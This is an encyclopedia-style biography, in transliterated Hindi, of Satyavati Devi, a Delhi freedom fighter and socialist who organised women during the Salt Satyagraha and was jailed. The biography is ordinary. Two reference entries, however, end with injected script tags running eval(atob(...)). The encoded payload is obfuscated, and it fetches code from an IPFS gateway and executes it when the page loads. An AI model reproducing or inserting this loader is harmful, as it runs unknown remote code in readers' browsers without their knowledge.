सत्यवती देवी
satyavati devi
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| poora nam | satyavati devi |
| janm | 26 janavari, 1906 |
| janm bhoomi | jalandhar, panjab |
| mrityu | aktoobar, 1945 |
| mrityu sthan | dilli |
| abhibhavak | mata- ved kumari |
| nagarikata | bharatiy |
| prasiddhi | samyavadi mahila evan svatantrata senani |
| vishesh yogadan | satyavati devi svatantrata sangram mean bhag lene ke lie dilli ki mahilaoan ko unake gharoan se bahar lane ke nek kam ke lie l daee l di. |
| any janakari | samyavadi satyavati devi eeshvar ki satta mean vishvas nahian karati thian. log unhean 'toophani bahan' ke nam se pukarate the. |
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satyavati devi (aangrezi: Satyavati Devi, janm- 26 janavari, 1906, jalandhar, panjab; mrityu- aktoobar, 1945) samyavadi mahila evan svatantrata senani thian. unhoanne kisan majadooroan ke hit mean din-rat sangharsh kiya. unhone svatantrata sangram mean bhag lene ke lie dilli ki mahilaoan ko unake gharoan se bahar lane ke nek kam ke lie l daee l di. satyadevi devi ne roodhivad aur roodhivad ke gadh ko hila diya aur mahilaoan ko unake gharoan se bahar nikal diya aur purushoan ko dikhaya ki mahilaoan ko ab keval saman nahian mana ja sakata hai.
parichay
ary samaj aur kaangres ke prasiddh neta svami shraddhanand ki natin (potri) samyavadi satyavati devi ka janm 26 janavari, 1906 ko panjab ke jalandhar jile mean hua tha. unaki maan ved kumari samajasevi aur gaandhi ji ki anuyaee thian. parivar ke is vatavaran ka satyavati par prabhav p da. 1922 mean unaka vivah ho gaya aur ve dilli a geean. samyavadi satyavati eeshvar ki satta mean vishvas nahian karati thian. log unhean "toophani bahan" ke nam se pukarate the.[1]
marksavad ka prabhav
satyavati devi ka dilli mean pramukh kaangresi netaoan se sanpark hua aur sath hi ve marksavadi vicharoan se prabhavit hueean. ab unhoanne any samyavadi vicharoan ki mahilaoan yatha durga devi, kaushalya devi adi ke sath ghoom-ghoomakar logoan ko sangathit karane ka kam hath mean liya. ve kisan majadooroan ke shasan ki kalpana mean din rat mehanat karati thian.
agrani neta
satyavati devi apane samay ki dilli ki agrani mahila neta thian. sangathan ke lie unake jvalant kathan aur ullekhaniy kshamata ne mahilaoan ko satyagrah abhiyanoan mean shamil hone ke lie akarshit kiya. satyavati devi ne apane vakpatu bhashanoan se vatavaran ko vidyutikrit kar diya. unhoanne 'kaangres mahila samaj' aur 'kaangres desh seva dal' ki sthapana ki. jivan ke sabhi kshetroan aur dilli ke sabhi konoan se mahilaoan ko usaki eemanadari aur bhavuk deshabhakti se akarshit kiya gaya tha. bad mean satyavati devi 'kaangres soshalist parti' ke sansthapak sadasyoan mean se ek ban gee. vah dilli ke kap da shramikoan ko prabuddh karana aur unhean rajanitik roop se jagarook karana chahati thian. unake chuanbakiy vyaktitv ne chhatroan, vishesh roop se hiandoo k aaulej aur iandraprasth garls haee skool donoan ko akarshit kiya. in chhatroan ne grihiniyoan ke samooh ka ayojan kiya, jinhoanne sarvajanik pradarshanoan aur is tarah se pahale kabhi bhag nahian liya tha. namak satyagrah ke dauran, satyavati devi aur unake sahayogiyoan ne dilli mean shahadara upanagar mean ek daladali khali bhookhand par ikattha hone ka phaisala kiya, jahaan up-mitti ke pani ki matra adhik thi. unamean se pachasoan ne namak kanoon ki avahelana ki. aisa karib das dinoan tak chala. namak ke paiket taiyar kie ge aur unhean svatantr roop se vitarit kiya gaya. dilli pulis ne un svayansevakoan ko khade d diya, jinhoanne namak satyagrah ka ayojan kiya tha. yah dilli mean savinay avajna aandolan ki shuruat thi.[2]
jab mahilaean jo sirph grihiniyaan thian, apane gharoan se bahar nikal geean aur lathicharj aur mar-pit ka samana kiya, to log ashchary aur prashansa se bhar ge. dilli ke purush vishesh roop se un mahilaoan dvara dikhae ge sahas par ashcharyachakit the, jo apani vinamrata aur nishkriyata ke lie jane jate the. jaise-jaise svatantrata ka sangharsh age badha, bharatiy mahilaoan ne poore desh mean sangharsh kiya aur is tarah purushoan ke sath svatantr aur saman hone ka adhikar arjit kiya.
jel yatra
satyavati ne kisan aur majadooroan ke shasan ke liye sangharsh mean jel yatra tak ki. satyavati desh mean ghoom-ghoomakar samyavadi vicharoan ke logoan ko sangathit karane lagian, yah bat sarakar ki najaroan mean chubhane lagi aur unhean jel mean dal diya. aantim bar lahaur jel mean unaka svasthy adhik big d jane ke karan sarakar ne unhean riha kar diya.
mrityu
samyavadi satyavati devi ka aktoobar, 1945 mean nidhan ho gaya. bar-bar jel jana aur kathin jivan ne unhean kshay rog ka shikar bana diya tha. satyavati devi apane bimar bistar se dilli mean apane sathi-shramikoan ka margadarshan karati rahi. 1945 mean unaki vyast aur vyarth gatividhi ne unake jivan mean ek asamayik aant la diya, jab vah keval 41 varsh ki thian.
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tika tippani aur sandarbh
- ↑ bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 888 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ satyavati devi, bharatiy svatantrata senani (hiandi) hindi.gktoday.in. abhigaman tithi: 18 janavari, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
- REDIRECTsaancha:svatantrata senani
varnamala kramanusar lekh khoj
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